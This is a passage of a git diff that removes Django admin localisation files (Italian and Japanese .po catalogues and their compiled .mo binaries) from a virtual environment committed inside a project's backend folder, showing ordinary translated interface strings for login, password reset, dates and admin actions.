come %(username)s, ma non sei autorizzato ad accedere a " -"questa pagina. Vorresti autenticarti con un altro account?" - -msgid "Forgotten your password or username?" -msgstr "Hai dimenticato la password o lo username?" - -msgid "Toggle navigation" -msgstr "Abilita/disabilita navigazione" - -msgid "Sidebar" -msgstr "Barra laterale" - -msgid "Start typing to filter…" -msgstr "Inizia a scrivere per filtrare..." - -msgid "Filter navigation items" -msgstr "Filtra gli oggetti di navigazione" - -msgid "Date/time" -msgstr "Data/ora" - -msgid "User" -msgstr "Utente" - -msgid "Action" -msgstr "Azione" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "voce" -msgstr[1] "voci" -msgstr[2] "voci" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Questo oggetto non ha cambiamenti registrati. Probabilmente non è stato " -"creato con questo sito di amministrazione." - -msgid "Show all" -msgstr "Mostra tutto" - -msgid "Save" -msgstr "Salva" - -msgid "Popup closing…" -msgstr "Chiusura popup..." - -msgid "Search" -msgstr "Cerca" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s risultato" -msgstr[1] "%(counter)s risultati" -msgstr[2] "%(counter)s risultati" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s in tutto" - -msgid "Save as new" -msgstr "Salva come nuovo" - -msgid "Save and add another" -msgstr "Salva e aggiungi un altro" - -msgid "Save and continue editing" -msgstr "Salva e continua le modifiche" - -msgid "Save and view" -msgstr "Salva e visualizza" - -msgid "Close" -msgstr "Chiudi" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Modifica la selezione %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "Aggiungi un altro %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Elimina la selezione %(model)s" - -#, python-format -msgid "View selected %(model)s" -msgstr "Visualizza il %(model)s selezionato" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Grazie per avere trascorso del tempo di qualità sul sito oggi." - -msgid "Log in again" -msgstr "Accedi di nuovo" - -msgid "Password change" -msgstr "Cambio password" - -msgid "Your password was changed." -msgstr "La tua password è stata cambiata." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Inserisci la password attuale, per ragioni di sicurezza, e poi la nuova " -"password due volte, per verificare di averla scritta correttamente." - -msgid "Change my password" -msgstr "Modifica la mia password" - -msgid "Password reset" -msgstr "Reimposta la password" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "La tua password è stata impostata. Ora puoi effettuare l'accesso." - -msgid "Password reset confirmation" -msgstr "Conferma reimpostazione password" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Inserisci la nuova password due volte, per verificare di averla scritta " -"correttamente." - -msgid "New password:" -msgstr "Nuova password:" - -msgid "Confirm password:" -msgstr "Conferma la password:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Il link per la reimpostazione della password non era valido, forse perché " -"era già stato usato. Richiedi una nuova reimpostazione della password." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Abbiamo inviato istruzioni per impostare la password, se esiste un account " -"valido all'indirizzo email che hai indicato. Dovresti riceverle a breve." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Se non ricevi un messaggio email, accertati di aver inserito l'indirizzo con " -"cui ti sei registrato, e controlla la cartella dello spam." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Ricevi questa mail perché hai richiesto di reimpostare la password del tuo " -"account utente presso %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Vai alla pagina seguente e scegli una nuova password:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "Il tuo nome utente, in caso tu l'abbia dimenticato:" - -msgid "Thanks for using our site!" -msgstr "Grazie per aver usato il nostro sito!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Il team di %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Password dimenticata? Inserisci il tuo indirizzo email qui sotto e ti " -"invieremo le istruzioni per impostarne una nuova." - -msgid "Email address:" -msgstr "Indirizzo email:" - -msgid "Reset my password" -msgstr "Reimposta la mia password" - -msgid "Select all objects on this page for an action" -msgstr "" -"Seleziona tutti gli oggetti di questa pagina per intraprendere un'azione " - -msgid "All dates" -msgstr "Tutte le date" - -#, python-format -msgid "Select %s" -msgstr "Scegli %s" - -#, python-format -msgid "Select %s to change" -msgstr "Scegli %s da modificare" - -#, python-format -msgid "Select %s to view" -msgstr "Seleziona %s per visualizzarlo" - -msgid "Date:" -msgstr "Data:" - -msgid "Time:" -msgstr "Ora:" - -msgid "Lookup" -msgstr "Consultazione" - -msgid "Currently:" -msgstr "Attualmente:" - -msgid "Change:" -msgstr "Modifica:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/it/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/it/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 20ecfac7..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/it/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/it/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/it/LC_MESSAGES/djangojs.po deleted file mode 100644 index c8096de4..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/it/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,322 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Andrea Guerra, 2024 -# Denis Darii , 2011 -# Jannis Leidel , 2011 -# Luciano De Falco Alfano, 2016 -# Marco Bonetti, 2014 -# Mirco Grillo , 2020 -# Nicola Larosa , 2011-2012 -# palmux , 2015,2021 -# Paolo Melchiorre , 2022-2023 -# Stefano Brentegani , 2015 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-25 15:04-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Andrea Guerra, 2024\n" -"Language-Team: Italian (http://app.transifex.com/django/django/language/" -"it/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: it\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s disponibili" - -#, javascript-format -msgid "" -"Choose %s by selecting them and then select the \"Choose\" arrow button." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Scrivi in questa casella per filtrare l'elenco dei %s disponibili." - -msgid "Filter" -msgstr "Filtro" - -#, javascript-format -msgid "Choose all %s" -msgstr "" - -#, javascript-format -msgid "Choose selected %s" -msgstr "" - -#, javascript-format -msgid "Remove selected %s" -msgstr "" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s scelti" - -#, javascript-format -msgid "" -"Remove %s by selecting them and then select the \"Remove\" arrow button." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Scrivi in questa casella per filtrare l'elenco dei %s selezionati." - -msgid "(click to clear)" -msgstr "" - -#, javascript-format -msgid "Remove all %s" -msgstr "" - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s opzione selezionata non visibile" -msgstr[1] "%s opzioni selezionate non visibili" -msgstr[2] "%s opzioni selezionate non visibili" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s di %(cnt)s selezionato" -msgstr[1] "%(sel)s di %(cnt)s selezionati" -msgstr[2] "%(sel)s di %(cnt)s selezionati" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Ci sono aggiornamenti non salvati su singoli campi modificabili. Se esegui " -"un'azione, le modifiche non salvate andranno perse." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Hai selezionato un'azione, ma non hai ancora salvato le modifiche apportate " -"a campi singoli. Fai clic su OK per salvare. Poi dovrai rieseguire l'azione." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Hai selezionato un'azione e non hai ancora apportato alcuna modifica ai " -"campi singoli. Probabilmente stai cercando il pulsante Vai, invece di Salva." - -msgid "Now" -msgstr "Adesso" - -msgid "Midnight" -msgstr "Mezzanotte" - -msgid "6 a.m." -msgstr "6 del mattino" - -msgid "Noon" -msgstr "Mezzogiorno" - -msgid "6 p.m." -msgstr "6 del pomeriggio" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Nota: Sei %s ora in anticipo rispetto al server." -msgstr[1] "Nota: Sei %s ore in anticipo rispetto al server." -msgstr[2] "Nota: Sei %s ore in anticipo rispetto al server." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Nota: Sei %s ora in ritardo rispetto al server." -msgstr[1] "Nota: Sei %s ore in ritardo rispetto al server." -msgstr[2] "Nota: Sei %s ore in ritardo rispetto al server." - -msgid "Choose a Time" -msgstr "Scegli un orario" - -msgid "Choose a time" -msgstr "Scegli un orario" - -msgid "Cancel" -msgstr "Annulla" - -msgid "Today" -msgstr "Oggi" - -msgid "Choose a Date" -msgstr "Scegli una data" - -msgid "Yesterday" -msgstr "Ieri" - -msgid "Tomorrow" -msgstr "Domani" - -msgid "January" -msgstr "Gennaio" - -msgid "February" -msgstr "Febbraio" - -msgid "March" -msgstr "Marzo" - -msgid "April" -msgstr "Aprile" - -msgid "May" -msgstr "Maggio" - -msgid "June" -msgstr "Giugno" - -msgid "July" -msgstr "Luglio" - -msgid "August" -msgstr "Agosto" - -msgid "September" -msgstr "Settembre" - -msgid "October" -msgstr "Ottobre" - -msgid "November" -msgstr "Novembre" - -msgid "December" -msgstr "Dicembre" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Gen" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Feb" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Mar" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Apr" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Mag" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Giu" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Lug" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Ago" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Set" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Ott" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Nov" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Dic" - -msgid "Sunday" -msgstr "Domenica" - -msgid "Monday" -msgstr "Lunedì" - -msgid "Tuesday" -msgstr "Martedì" - -msgid "Wednesday" -msgstr "Mercoledì" - -msgid "Thursday" -msgstr "Giovedì" - -msgid "Friday" -msgstr "Venerdì" - -msgid "Saturday" -msgstr "Sabato" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "Dom" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "Lun" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "Mar" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "Mer" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "Gio" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "Ven" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "Sab" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "D" - -msgctxt "one letter Monday" -msgid "M" -msgstr "L" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "Ma" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "Me" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "G" - -msgctxt "one letter Friday" -msgid "F" -msgstr "V" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "S" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ja/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ja/LC_MESSAGES/django.mo deleted file mode 100644 index ec8a3782..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ja/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ja/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ja/LC_MESSAGES/django.po deleted file mode 100644 index ac42d389..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ja/LC_MESSAGES/django.po +++ /dev/null @@ -1,784 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# akiyoko , 2020 -# Claude Paroz , 2016 -# Goto Hayato , 2019 -# Hiroki Sawano, 2022 -# Jannis Leidel , 2011 -# Masaya, 2023 -# Shinichi Katsumata , 2019 -# Shinya Okano , 2012-2018,2021,2023 -# TANIGUCHI Taichi, 2022 -# Takuro Onoue , 2020 -# Takuya N , 2020 -# Tetsuya Morimoto , 2011 -# 上田慶祐 , 2015 -# 余田大輝, 2024 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 07:05+0000\n" -"Last-Translator: 余田大輝, 2024\n" -"Language-Team: Japanese (http://app.transifex.com/django/django/language/" -"ja/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ja\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "選択された %(verbose_name_plural)s の削除" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d 個の %(items)s を削除しました。" - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "%(name)s が削除できません" - -msgid "Are you sure?" -msgstr "よろしいですか?" - -msgid "Administration" -msgstr "管理" - -msgid "All" -msgstr "全て" - -msgid "Yes" -msgstr "はい" - -msgid "No" -msgstr "いいえ" - -msgid "Unknown" -msgstr "不明" - -msgid "Any date" -msgstr "いつでも" - -msgid "Today" -msgstr "今日" - -msgid "Past 7 days" -msgstr "過去 7 日間" - -msgid "This month" -msgstr "今月" - -msgid "This year" -msgstr "今年" - -msgid "No date" -msgstr "日付なし" - -msgid "Has date" -msgstr "日付あり" - -msgid "Empty" -msgstr "空" - -msgid "Not empty" -msgstr "空でない" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"スタッフアカウントの正しい%(username)sとパスワードを入力してください。どちら" -"のフィールドも大文字と小文字は区別されます。" - -msgid "Action:" -msgstr "操作:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "%(verbose_name)s の追加" - -msgid "Remove" -msgstr "削除" - -msgid "Addition" -msgstr "追加" - -msgid "Change" -msgstr "変更" - -msgid "Deletion" -msgstr "削除" - -msgid "action time" -msgstr "操作時刻" - -msgid "user" -msgstr "ユーザー" - -msgid "content type" -msgstr "コンテンツタイプ" - -msgid "object id" -msgstr "オブジェクト ID" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "オブジェクトの文字列表現" - -msgid "action flag" -msgstr "操作種別" - -msgid "change message" -msgstr "変更メッセージ" - -msgid "log entry" -msgstr "ログエントリー" - -msgid "log entries" -msgstr "ログエントリー" - -#, python-format -msgid "Added “%(object)s”." -msgstr "“%(object)s” を追加しました。" - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "“%(object)s” を変更しました — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "“%(object)s” を削除しました。" - -msgid "LogEntry Object" -msgstr "ログエントリー オブジェクト" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "{name} “{object}” を追加しました。" - -msgid "Added." -msgstr "追加されました。" - -msgid "and" -msgstr "と" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "{name} “{object}” の {fields} を変更しました。" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "{fields} を変更しました。" - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "{name} “{object}” を削除しました。" - -msgid "No fields changed." -msgstr "変更はありませんでした。" - -msgid "None" -msgstr "None" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"複数選択するときには Control キーを押したまま選択してください。Mac は " -"Command キーを使ってください" - -msgid "Select this object for an action - {}" -msgstr "アクション用にこのオブジェクトを選択 - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} “{obj}” を追加しました。" - -msgid "You may edit it again below." -msgstr "以下で再度編集できます。" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "{name} “{obj}” を追加しました。別の {name} を以下から追加できます。" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "{name} “{obj}” を変更しました。以下から再度編集できます。" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "{name} “{obj}” を変更しました。 別の {name} を以下から追加できます。" - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} “{obj}” を変更しました。" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"操作を実行するには、対象を選択する必要があります。何も変更されませんでした。" - -msgid "No action selected." -msgstr "操作が選択されていません。" - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s “%(obj)s” を削除しました。" - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" -"ID “%(key)s” の%(name)sは見つかりませんでした。削除された可能性があります。" - -#, python-format -msgid "Add %s" -msgstr "%s を追加" - -#, python-format -msgid "Change %s" -msgstr "%s を変更" - -#, python-format -msgid "View %s" -msgstr "%sを表示" - -msgid "Database error" -msgstr "データベースエラー" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s 個の %(name)s を変更しました。" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s 個選択されました" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "%(cnt)s個の内ひとつも選択されていません" - -#, python-format -msgid "Change history: %s" -msgstr "変更履歴: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"%(class_name)s %(instance)s を削除するには以下の保護された関連オブジェクトを" -"削除することになります: %(related_objects)s" - -msgid "Django site admin" -msgstr "Django サイト管理" - -msgid "Django administration" -msgstr "Django 管理サイト" - -msgid "Site administration" -msgstr "サイト管理" - -msgid "Log in" -msgstr "ログイン" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s 管理" - -msgid "Page not found" -msgstr "ページが見つかりません" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "申し訳ありませんが、お探しのページは見つかりませんでした。" - -msgid "Home" -msgstr "ホーム" - -msgid "Server error" -msgstr "サーバーエラー" - -msgid "Server error (500)" -msgstr "サーバーエラー (500)" - -msgid "Server Error (500)" -msgstr "サーバーエラー (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"エラーが発生しました。サイト管理者にメールで報告されたので、修正されるまでし" -"ばらくお待ちください。" - -msgid "Run the selected action" -msgstr "選択された操作を実行" - -msgid "Go" -msgstr "実行" - -msgid "Click here to select the objects across all pages" -msgstr "全ページの項目を選択するにはここをクリック" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "%(total_count)s個ある%(module_name)s を全て選択" - -msgid "Clear selection" -msgstr "選択を解除" - -msgid "Breadcrumbs" -msgstr "パンくずリスト" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "%(name)s アプリケーション内のモデル" - -msgid "Add" -msgstr "追加" - -msgid "View" -msgstr "表示" - -msgid "You don’t have permission to view or edit anything." -msgstr "表示または変更のためのパーミッションがありません。" - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"まずユーザー名とパスワードを登録してください。その後詳細情報が編集可能になり" -"ます。" - -msgid "Enter a username and password." -msgstr "ユーザー名とパスワードを入力してください。" - -msgid "Change password" -msgstr "パスワードの変更" - -msgid "Set password" -msgstr "パスワードを設定" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "下記のエラーを修正してください。" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" -"%(username)sさんの新しいパスワードを入力してください。" - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"このアクションは、このユーザーに対するパスワードによる認証を有効にします。" - -msgid "Disable password-based authentication" -msgstr "パスワードによる認証の無効化" - -msgid "Enable password-based authentication" -msgstr "パスワードによる認証の有効化" - -msgid "Skip to main content" -msgstr "スキップしてメインコンテンツへ" - -msgid "Welcome," -msgstr "ようこそ" - -msgid "View site" -msgstr "サイトを表示" - -msgid "Documentation" -msgstr "ドキュメント" - -msgid "Log out" -msgstr "ログアウト" - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)s を追加" - -msgid "History" -msgstr "履歴" - -msgid "View on site" -msgstr "サイト上で表示" - -msgid "Filter" -msgstr "フィルター" - -msgid "Hide counts" -msgstr "件数を非表示" - -msgid "Show counts" -msgstr "件数を表示" - -msgid "Clear all filters" -msgstr "全てのフィルターを解除" - -msgid "Remove from sorting" -msgstr "ソート条件から外します" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "ソート優先順位: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "昇順降順を切り替えます" - -msgid "Toggle theme (current theme: auto)" -msgstr "テーマを切り替え (現在のテーマ: 自動)" - -msgid "Toggle theme (current theme: light)" -msgstr "テーマを切り替え (現在のテーマ: ライト)" - -msgid "Toggle theme (current theme: dark)" -msgstr "テーマを切り替え (現在のテーマ: ダーク)" - -msgid "Delete" -msgstr "削除" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"%(object_name)s '%(escaped_object)s' の削除時に関連づけられたオブジェクトも削" -"除しようとしましたが、あなたのアカウントには以下のタイプのオブジェクトを削除" -"するパーミッションがありません:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"%(object_name)s '%(escaped_object)s' を削除するには以下の保護された関連オブ" -"ジェクトを削除することになります:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"%(object_name)s \"%(escaped_object)s\"を削除しますか? 関連づけられている以下" -"のオブジェクトも全て削除されます:" - -msgid "Objects" -msgstr "オブジェクト" - -msgid "Yes, I’m sure" -msgstr "はい、大丈夫です" - -msgid "No, take me back" -msgstr "戻る" - -msgid "Delete multiple objects" -msgstr "複数のオブジェクトを削除します" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"選択した %(objects_name)s を削除すると関連するオブジェクトも削除しますが、あ" -"なたのアカウントは以下のオブジェクト型を削除する権限がありません:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"選択した %(objects_name)s を削除すると以下の保護された関連オブジェクトを削除" -"することになります:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"本当に選択した %(objects_name)s を削除しますか? 以下の全てのオブジェクトと関" -"連する要素が削除されます:" - -msgid "Delete?" -msgstr "削除しますか?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "%(filter_title)s で絞り込む" - -msgid "Summary" -msgstr "概要" - -msgid "Recent actions" -msgstr "最近行った操作" - -msgid "My actions" -msgstr "自分の操作" - -msgid "None available" -msgstr "利用不可" - -msgid "Added:" -msgstr "追加されました:" - -msgid "Changed:" -msgstr "変更されました:" - -msgid "Deleted:" -msgstr "削除されました:" - -msgid "Unknown content" -msgstr "不明なコンテント" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"データベースのインストールに問題があります。適切なデータベーステーブルが作ら" -"れているか、適切なユーザーがデータベースを読み込み可能かを確認してください。" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"あなたは %(username)s として認証されましたが、このページへのアクセス許可があ" -"りません。他のアカウントでログインしますか?" - -msgid "Forgotten your password or username?" -msgstr "パスワードまたはユーザー名を忘れましたか?" - -msgid "Toggle navigation" -msgstr "ナビゲーションを切り替えます" - -msgid "Sidebar" -msgstr "サイドバー" - -msgid "Start typing to filter…" -msgstr "絞り込みの入力..." - -msgid "Filter navigation items" -msgstr "ナビゲーション項目の絞り込み" - -msgid "Date/time" -msgstr "日付/時刻" - -msgid "User" -msgstr "ユーザー" - -msgid "Action" -msgstr "操作" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "エントリー" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"このオブジェクトには変更履歴がありません。おそらくこの管理サイトで追加したも" -"のではありません。" - -msgid "Show all" -msgstr "全件表示" - -msgid "Save" -msgstr "保存" - -msgid "Popup closing…" -msgstr "ポップアップを閉じています..." - -msgid "Search" -msgstr "検索" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "結果 %(counter)s" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "全 %(full_result_count)s 件" - -msgid "Save as new" -msgstr "新規保存" - -msgid "Save and add another" -msgstr "保存してもう一つ追加" - -msgid "Save and continue editing" -msgstr "保存して編集を続ける" - -msgid "Save and view" -msgstr "保存して表示" - -msgid "Close" -msgstr "閉じる" - -#, python-format -msgid "Change selected %(model)s" -msgstr "選択された %(model)s の変更" - -#, python-format -msgid "Add another %(model)s" -msgstr "%(model)s の追加" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "選択された %(model)s を削除" - -#, python-format -msgid "View selected %(model)s" -msgstr "選択された %(model)s を表示" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "ご利用ありがとうございました。" - -msgid "Log in again" -msgstr "もう一度ログイン" - -msgid "Password change" -msgstr "パスワードの変更" - -msgid "Your password was changed." -msgstr "あなたのパスワードは変更されました" - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"セキュリティ上の理由から元のパスワードの入力が必要です。新しいパスワードは正" -"しく入力したか確認できるように二度入力してください。" - -msgid "Change my password" -msgstr "パスワードの変更" - -msgid "Password reset" -msgstr "パスワードをリセット" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "パスワードがセットされました。ログインしてください。" - -msgid "Password reset confirmation" -msgstr "パスワードリセットの確認" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "確認のために、新しいパスワードを二回入力してください。" - -msgid "New password:" -msgstr "新しいパスワード:" - -msgid "Confirm password:" -msgstr "新しいパスワード (確認用) :" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"パスワードリセットのリンクが不正です。おそらくこのリンクは既に使われていま" -"す。もう一度パスワードリセットしてください。" - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"入力されたメールアドレスを持つアカウントが存在する場合、パスワードを設定する" -"ためのメールを送信しました。すぐに届くはずです。" - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"メールが届かない場合は、登録したメールアドレスを入力したか確認し、スパムフォ" -"ルダに入っていないか確認してください。" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"このメールは %(site_name)s で、あなたのアカウントのパスワードリセットが要求さ" -"れたため、送信されました。" - -msgid "Please go to the following page and choose a new password:" -msgstr "次のページで新しいパスワードを選んでください:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "あなたのユーザー名 (もし忘れていたら):" - -msgid "Thanks for using our site!" -msgstr "ご利用ありがとうございました!" - -#, python-format -msgid "The %(site_name)s team" -msgstr " %(site_name)s チーム" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"パスワードを忘れましたか? 